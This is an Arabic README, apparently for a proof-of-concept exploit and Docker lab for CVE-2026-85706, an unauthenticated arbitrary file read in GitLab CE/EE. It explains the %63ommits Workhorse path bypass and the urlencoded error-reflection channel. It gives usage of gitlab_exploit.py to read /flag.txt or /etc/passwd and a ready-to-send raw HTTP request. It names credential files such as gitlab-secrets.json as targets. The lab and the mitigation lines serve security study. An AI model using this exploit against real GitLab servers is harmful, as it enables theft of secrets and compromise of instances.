
PoC ومختبر Docker لـ CVE-2026-85706، وهو قراءة ملفات عشوائية بدون مصادقة في GitLab CE/EE عبر تجاوز مسار commits API وقناة الخطأ المُرمَّزة بـ urlencoded.
★ CVE-2026-85706 إثبات مفهوم لقراءة ملفات عشوائية بدون مصادقة في GitLab ★
https://github.com/user-attachments/assets/026749ec-04e9-4dd5-9453-cb7c1f6e823d
CVE-2026-85706 هي ثغرة قراءة ملفات عشوائية بدون مصادقة في GitLab CE/EE (CVSS 10.0، CISA KEV) عبر
POST /api/v4/projects/:id/repository/commits، حيث يعمل مساعد رفع المحتوى قبلauthenticate!ويقرأparams['file.path']كمسار مطلق دون أي تقييد. ترميز حرف واحد منcommitsبصيغة URL →%63ommitsيجعل GitLab-Workhorse يفوّت المسار (فلا يستبدلfile.pathأبدًا)، بينما لا يزال Rails يفكّ ترميز%63 → cويوجّه الطلب إلى المعالج — مما يسمح للمهاجم بتعيينfile.pathعبر سلسلة الاستعلام. معContent-Type=application/x-www-form-urlencoded، يعيد المساعد تحليل محتوى الملف، وعلامة%غير متبوعة بخانتين سادس عشريتين تعكس ذلك المحتوى في جسم استجابة400(الملفات التي لا تحتوي على ذلك تعطي فقط أوراكل قراءة401). يتطلب وجود مشروع عام واحد على الأقل.
| الفئة | الإصدار |
|---|---|
| المتأثرة | GitLab CE/EE 18.7 – 19.1.7, 19.2.0 – 19.2.5, 19.3.0 – 19.3.1 |
| المُرقّعة | 19.1.8 / 19.2.6 / 19.3.2 أو أحدث (2026-09-10) |
% غير صالح (سجلات التطبيق، والإعدادات/بيانات الاعتماد التي تتضمن قيمًا مُرمّزة بصيغة URL) → استطلاع + سرقة بيانات الاعتماد → التسلسل إلى وصول مُصادَق عليه / اختراق كامل للنسخةgitlab-secrets.json، database.yml)؛ لاحظ أن الملفات السادس عشرية/Base64 البحتة تُرجع فقط أوراكل وجود عبر قناة انعكاس % العامة (لا يوجد بايت % غير صالح لتفعيل الصدى)authenticate! قبل مساعد رفع المحتوى، بحيث يُرفض الطلب غير المُصادَق عليه قبل نقطة قراءة الملفقم ببناء وتشغيل GitLab CE المتأثر. عند الإقلاع، يزرع المُهيّئ /flag.txt (مع
مُشغّل تسريب % في النهاية) وينشئ مشروعًا عامًا victim/public-app (معرّف المشروع 1) بحيث
يكون API الخاص بالـ commits قابلًا للوصول بدون مصادقة. يستغرق الإقلاع الأول ~2–3 دقائق.
docker build -t cve-2026-85706 .
docker run -d --name cve-2026-85706 --shm-size 256m -p 8088:80 cve-2026-85706
# wait until the seeder reports it is ready
docker exec cve-2026-85706 tail -n 20 /var/log/seed.log # look for: [seed] SEED_DONE ...
الـ flag هو عنصر نائب (EQST{gitlab_cve_2026_85706_arbitrary_file_read}). عيّن الـ flag الخاص بك في
وقت التشغيل دون تعديل الصورة: docker run -e FLAG='YOUR_FLAG' ... cve-2026-85706.
| الشرط المسبق | الحالة في هذا المختبر |
|---|---|
| GitLab 18.7 – 19.1.7 | 19.1.7-ce.0 |
| مشروع عام واحد على الأقل (يصل المستخدم المجهول إلى API الخاص بالـ commits) | victim/public-app (id 1)، يُنشأ تلقائيًا |
/api/v4/projects/:id/repository/commits قابل للوصول بدون مصادقة | مكشوف |
| الـ flag على نظام ملفات الخادم | /flag.txt (مُشغّل انعكاس % في النهاية) |
يقرأ الاستغلال gitlab_exploit.py ملفًا من الخادم بطلب واحد بدون مصادقة،
باستخدام تجاوز مسار Workhorse عبر %63ommits وقناة خطأ إعادة التحليل بصيغة urlencoded.
اختر الملف باستخدام --read (الافتراضي /flag.txt).
# default: read /flag.txt and print the flag
python3 gitlab_exploit.py 172.17.0.2
# read any absolute path (content disclosed only if it contains an invalid '%')
python3 gitlab_exploit.py 172.17.0.2 --read /etc/passwd
# just confirm the sink is reachable
python3 gitlab_exploit.py 172.17.0.2 --check
[*] target http://172.17.0.2
[*] endpoint /api/v4/projects/1/repository/%63ommits
[*] file.path /flag.txt
[+] arbitrary file read OK -> content of /flag.txt:
EQST{gitlab_cve_2026_85706_arbitrary_file_read}%
[+] FLAG: EQST{gitlab_cve_2026_85706_arbitrary_file_read}
الخيارات:
--read "<abs path>" — المسار المطلق للملف المراد قراءته (الافتراضي /flag.txt)--project <id> — معرّف المشروع العام القابل للوصول بدون مصادقة (الافتراضي 1)--check — فقط تأكيد أن نقطة قراءة الملف قابلة للوصول (يتوقع local file not present)الطلب الخام (لـ Burp Repeater):
POST /api/v4/projects/1/repository/%63ommits?file=&file.path=/flag.txt&file.size=1&Content-Type=application/x-www-form-urlencoded HTTP/1.1
Host: 172.17.0.2
Content-Length: 0
Connection: close
POST/PUT إلى */repository/commits* و */repository/files* على مستوى الوكيل/WAF، وضع النسخة خلف SSO / VPN / قائمة IP المسموح بها